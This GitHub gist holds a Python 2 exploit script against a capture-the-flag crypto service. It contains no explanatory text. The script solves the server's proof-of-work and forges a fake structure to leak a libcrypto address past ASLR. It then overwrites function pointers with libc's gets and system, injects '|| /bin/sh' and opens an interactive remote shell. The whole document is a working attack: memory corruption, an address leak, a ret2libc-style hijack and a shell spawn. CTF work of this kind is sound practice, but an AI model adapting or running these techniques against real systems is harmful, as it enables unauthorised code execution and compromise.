Skip to content

Instantly share code, notes, and snippets.

@ymgve
Created April 23, 2017 21:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ymgve/6dd5f1a91785004ca2fc4d32f43e8787 to your computer and use it in GitHub Desktop.
Save ymgve/6dd5f1a91785004ca2fc4d32f43e8787 to your computer and use it in GitHub Desktop.
import socket, struct, os, binascii, base64, hashlib, sys
import telnetlib
from Crypto.Cipher import AES
import psyco; psyco.full()
def readline(sc, show = True):
res = ""
while len(res) == 0 or res[-1] != "\n":
data = sc.recv(1)
if len(data) == 0:
print repr(res)
raise Exception("Server disconnected")
res += data
if show:
print repr(res[:-1])
return res[:-1]
def read_until(sc, s):
res = ""
while not res.endswith(s):
data = sc.recv(1)
if len(data) == 0:
print repr(res)
raise Exception("Server disconnected")
res += data
return res[:-(len(s))]
def read_all(sc, n):
data = ""
while len(data) < n:
block = sc.recv(n - len(data))
if len(block) == 0:
print repr(data)
raise Exception("Server disconnected")
data += block
return data
def I(n):
return struct.pack("<I", n)
def Q(n):
return struct.pack("<Q", n)
def solve_pow(sc):
read_until(sc, "It starts with ")
res = read_until(sc, " characters long")
prefix, size = res.split(" and is ")
read_until(sc, "Magic word? ")
for a in xrange(0x10000):
for b in xrange(0x10000):
sys.stdout.write(".")
for c in xrange(0x10000):
h = prefix + "%04x%04x%04x0000" % (a, b, c)
res = hashlib.sha256(h).hexdigest()
if res.startswith("fffffff"):
print len(h), h, res
sc.send(h)
return
results = []
pt = "\x00" * 2048
key = "\x00" * 16
iv = "\x00" * 16
for i in xrange(16):
enc = AES.new(key, AES.MODE_CBC, iv)
pt = enc.encrypt(pt + "\x10" * 0x10)
results.append(pt)
# for a in xrange(0x10000):
# for b in xrange(0x10000):
# key = struct.pack("<HHIII", a, b, 0, 0, 0)
# enc = AES.new(key, AES.MODE_CBC, iv)
# pt2 = enc.encrypt(pt + "\x10" * 0x10)
# addr = struct.unpack("<I", pt2[2200:2204])[0]
# if addr & 0xffff0000 == 0x08050000:
# print hex(addr), binascii.b2a_hex(key)
# exit()
sc = socket.create_connection(("yacp.chal.pwning.xxx", 7961))
solve_pow(sc)
evp_crypto_offset = 0x1dad60
libcrypto_to_libc_gap = -0x1b6000
offset_gets = 0x0005F3E0
offset_system = 0x0003ADA0
# sc = socket.create_connection(("10.0.0.52", 12345))
# evp_crypto_offset = 0x1dad60
# libcrypto_to_libc_gap = -0x17e000
# offset_gets = 0x00062D80
# offset_system = 0x0003C000
read_until(sc, "5. Display data")
sc.send("0\n")
sc.send("2048\n")
sc.send("2\n")
sc.send("0" * 4096 + "\n")
fakestruct = "\x00" * 0x7af
fakestruct += "\x00" * 0x10 + I(0xffffffff) + "aaaa" + I(0x08048960) + I(0x080489D0) + "bbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll"
fakestruct = fakestruct.ljust(0x800, "\x88")
sc.send("0\n")
sc.send("2048\n")
sc.send("8\n")
sc.send(binascii.b2a_hex(fakestruct) + "\n")
for i in xrange(16):
sc.send("0\n")
sc.send("16\n")
sc.send("0\n")
sc.send("0" * 32 + "\n")
sc.send("0\n")
sc.send("16\n")
sc.send("1\n")
sc.send("0" * 32 + "\n")
sc.send("3\n")
sc.send("aes-128-cbc\n")
sc.send("2\n")
sc.send("2\n")
sc.send("0\n")
sc.send("1\n")
sc.send("5\n")
sc.send("2\n")
read_until(sc, " bytes) = ")
data = read_until(sc, "\n")
assert data == binascii.b2a_hex(results[i])
sc.send("0\n")
sc.send("16\n")
sc.send("0\n")
sc.send("040022dc000000000000000000000000" + "\n")
sc.send("0\n")
sc.send("16\n")
sc.send("1\n")
sc.send("0" * 32 + "\n")
sc.send("3\n")
sc.send("aes-128-cbc\n")
sc.send("2\n")
sc.send("31\n")
sc.send("0\n")
sc.send("1\n")
sc.send("5\n")
sc.send("31\n")
read_until(sc, " bytes) = ")
data = read_until(sc, "\n")
evp_crypto_address = struct.unpack("<I", binascii.a2b_hex(data[4688:4696]))[0]
libcrypto_address = evp_crypto_address - evp_crypto_offset
print "qq", hex(libcrypto_address)
libc_address = libcrypto_address + libcrypto_to_libc_gap
system_rop = 0x0003C000
sc.send("0\n")
sc.send("2048\n")
sc.send("2\n")
sc.send("0" * 4096 + "\n")
fakestruct = "\x00" * 0x7af
fakestruct += "\x00" * 0x10 + I(0xffffffff) + "aaaa" + I(libc_address+offset_gets) + I(libc_address+offset_system) + "bbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll"
fakestruct = fakestruct.ljust(0x800, "\x88")
sc.send("0\n")
sc.send("2048\n")
sc.send("8\n")
sc.send(binascii.b2a_hex(fakestruct) + "\n")
for i in xrange(16):
sc.send("0\n")
sc.send("16\n")
sc.send("0\n")
sc.send("0" * 32 + "\n")
sc.send("0\n")
sc.send("16\n")
sc.send("1\n")
sc.send("0" * 32 + "\n")
sc.send("3\n")
sc.send("aes-128-cbc\n")
sc.send("2\n")
sc.send("2\n")
sc.send("0\n")
sc.send("1\n")
sc.send("5\n")
sc.send("2\n")
read_until(sc, " bytes) = ")
data = read_until(sc, "\n")
assert data == binascii.b2a_hex(results[i])
sc.send("0\n")
sc.send("16\n")
sc.send("0\n")
sc.send("040022dc000000000000000000000000" + "\n")
sc.send("0\n")
sc.send("16\n")
sc.send("1\n")
sc.send("0" * 32 + "\n")
sc.send("3\n")
sc.send("aes-128-cbc\n")
sc.send("2\n")
sc.send("31\n")
sc.send("0\n")
sc.send("1" + I(0x805088f) + " || /bin/sh\n")
t = telnetlib.Telnet()
t.sock = sc
t.interact()
while True:
data = sc.recv(16384)
if len(data) == 0:
break
for line in data.split("\n"):
print repr(line)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment